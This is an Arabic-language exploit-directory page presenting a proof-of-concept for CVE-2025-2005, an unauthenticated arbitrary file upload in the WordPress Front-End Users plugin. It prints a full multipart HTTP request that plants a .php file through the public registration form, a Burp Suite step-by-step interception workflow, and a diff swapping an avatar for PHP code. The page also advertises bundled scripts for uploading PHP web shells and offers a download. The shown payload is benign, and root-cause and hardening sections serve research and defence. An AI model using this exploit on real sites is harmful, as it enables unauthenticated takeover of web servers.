Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-2005 — استغلال إثبات المفهوم لـ CVE-2025-2005، وهي ثغرة رفع ملف عشوائي في إضافة WordPress Front-End Users Plugin (<=3.2.32). يتضمن نصوص HTTP يدوية وبايثون لرفع قذائف ويب PHP إلى نماذج التسجيل غير المصادق عليها. | Kitploit
أدوات/GitHubGitHub/h4ckxel/cve-2025-2005
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

استغلال إثبات المفهوم لـ CVE-2025-2005، وهي ثغرة رفع ملف عشوائي في إضافة WordPress Front-End Users Plugin (<=3.2.32). يتضمن نصوص HTTP يدوية وبايثون لرفع قذائف ويب PHP إلى نماذج التسجيل غير المصادق عليها.

عرض المستودع
114منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-2005 — رفع ملفات عشوائي من قِبل مستخدمي الواجهة الأمامية

CVE-2025-2005

مستخدمو الواجهة الأمامية في WordPress — رفع ملفات عشوائي دون مصادقة

0xZ3R0 // h4ckxel

CVE WordPress Status Research


0x00 — الملخص التنفيذي

تتأثر إضافة Front-End Users بثغرة رفع ملفات عشوائي دون مصادقة تؤثر على الإصدارات ≤ 3.2.32.

يكشف سير عمل التسجيل المصاب عن قدرة رفع أولية يمكن الوصول إليها دون الحاجة إلى حساب WordPress ذي صلاحيات.

تكمن المشكلة الأساسية في عدم كفاية التحقق من البيانات الوصفية والمحتوى الخاصين بالرفع والخاضعين لتحكم المهاجم قبل حفظ الملف في نظام الملفات.

سلسلة الهجوم

                  UNAUTHENTICATED ATTACKER
                           │
                           ▼
                 Public registration form
                           │
                           ▼
                  multipart/form-data
                           │
                           ▼
                Front-End Users handler
                           │
                           ▼
                Insufficient validation
                           │
                           ▼
                Attacker-controlled file
                           │
                           ▼
        /wp-content/uploads/ewd_feup_uploads/
                           │
                           ▼
              Web-accessible resource
                           │
                           ▼
             PHP execution if permitted
                           │
                           ▼
                         RCE

يعتمد التأثير النهائي على خادم الويب وإعدادات PHP الخاصة بالهدف.


0x01 — البيانات الوصفية للثغرة

الخاصيةالقيمة
CVECVE-2025-2005
المنتجFront-End Users
الإصدارات المتأثرة≤ 3.2.32
CWECWE-434
الفئةرفع ملف غير مقيّد من نوع خطير
ناقل الهجومالشبكة
المصادقةلا شيء
الامتيازات المطلوبةلا شيء
تفاعل المستخدملا شيء
البدائية الأساسيةرفع ملف عشوائي
التأثير المحتملتنفيذ تعليمات برمجية عن بُعد
الباحثh4ckxel
مساحة الأسماء0xZ3R0

0x02 — تصنيف الثغرة

CWE-434

رفع ملف غير مقيّد من نوع خطير

يمكن اختزال السلوك الثغري إلى:

Untrusted Input
      │
      ├── filename
      ├── extension
      ├── MIME type
      └── file content
             │
             ▼
       upload handler
             │
             ▼
        filesystem

يفشل الحد الأمني لأن البيانات التي يتحكم بها المهاجم تصل إلى موقع دائم في نظام الملفات دون تحقق كافٍ.


0x03 — سطح الهجوم

ترتبط الوظيفة القابلة للاستغلال بنظام التسجيل في الواجهة الأمامية الخاص بالإضافة.

يحتوي طلب تسجيل نموذجي على:

ewd-feup-action=register
Username=<value>
User_Password=<value>

وقد يحتوي على حقل ملف متعدد الأجزاء إضافي:

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

Content-Type: application/x-php

الجزء المثير للاهتمام ليس التسجيل نفسه.

الجزء المثير للاهتمام هو أن الطلب يعبر حدود الثقة التالية:

                 INTERNET
                    │
                    ▼
          attacker-controlled HTTP
                    │
                    ▼
          registration endpoint
                    │
                    ▼
             upload handler
                    │
                    ▼
              filesystem

0x04 — السبب الجذري

تنشأ الثغرة الأمنية من التحقق غير الكافي من جانب الخادم على الملفات المرفوعة.

يجب أن يطبّق التنفيذ الآمن عدة ضوابط مستقلة:

                   UPLOAD
                     │
        ┌────────────┴────────────┐
        ▼                         ▼
 Authentication              Authorization
        │                         │
        └────────────┬────────────┘
                     ▼
             Extension allowlist
                     │
                     ▼
              MIME verification
                     │
                     ▼
              Content validation
                     │
                     ▼
            Server-side filename
                     │
                     ▼
          Non-executable storage

غياب أي واحد من هذه الضوابط لا يؤدي بالضرورة إلى RCE.

تصبح المشكلة أكثر خطورة بشكل كبير عندما تفشل طبقات متعددة في الوقت نفسه.


0x05 — إثبات مفهوم مُتحكَّم به

يوضح إثبات المفهوم التالي البدائية الكتابية للملف دون نشر صدفة أوامر.

طلب HTTP

POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary

------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"

14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"

1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"

register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"

poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php

<?php echo "CVE-2025-2005"; ?>

------0xZ3R0Boundary--

نتيجة نظام الملفات المتوقعة

wp-content/
└── uploads/
    └── ewd_feup_uploads/
        └── <randomized-name>.php

الملاحظة المهمة هي:

attacker-controlled extension
            +
attacker-controlled content
            +
persistent filesystem write

0x06 — سير عمل Burp Suite

سير عمل عملي لبيئة مختبرية:

[1] Open registration page
        │
        ▼
[2] Submit legitimate registration
        │
        ▼
[3] Intercept request with Burp
        │
        ▼
[4] Locate multipart file parameter
        │
        ▼
[5] Replace benign file with PoC file
        │
        ▼
[6] Forward request
        │
        ▼
[7] Inspect response
        │
        ▼
[8] Verify filesystem artifact
        │
        ▼
[9] Test whether uploads are executable

يجب إجراء الملاحظة الأمنية الحرجة قبل محاولة أي استغلال لاحق.


0x07 — فرق الطلبات

طلب مشروع

Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"

<image-data>

الطلب المعدّل

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

<?php echo "CVE-2025-2005"; ?>

من حيث المفهوم:

- filename="avatar.jpg"
+ filename="poc.php"

- <image-data>
+ <?php echo "CVE-2025-2005"; ?>

هذا يوضح العنصر الأساسي دون الاعتماد على حمولة مسلّحة.


0x08 — التحقق الآمن

يجب أن يكون هدف التحقق الأول هو نظام الملفات، وليس تنفيذ الشيفرة.

مثال:

find wp-content/uploads/ewd_feup_uploads/ \
    -type f -printf '%f\n'

ثم افحص الناتج الناتج:

file wp-content/uploads/ewd_feup_uploads/<artifact>

يُثبت الاستنساخ الناجح ما يلي:

HTTP request
     ↓
plugin processing
     ↓
filesystem write
     ↓
attacker-controlled artifact
تنزيل الأداة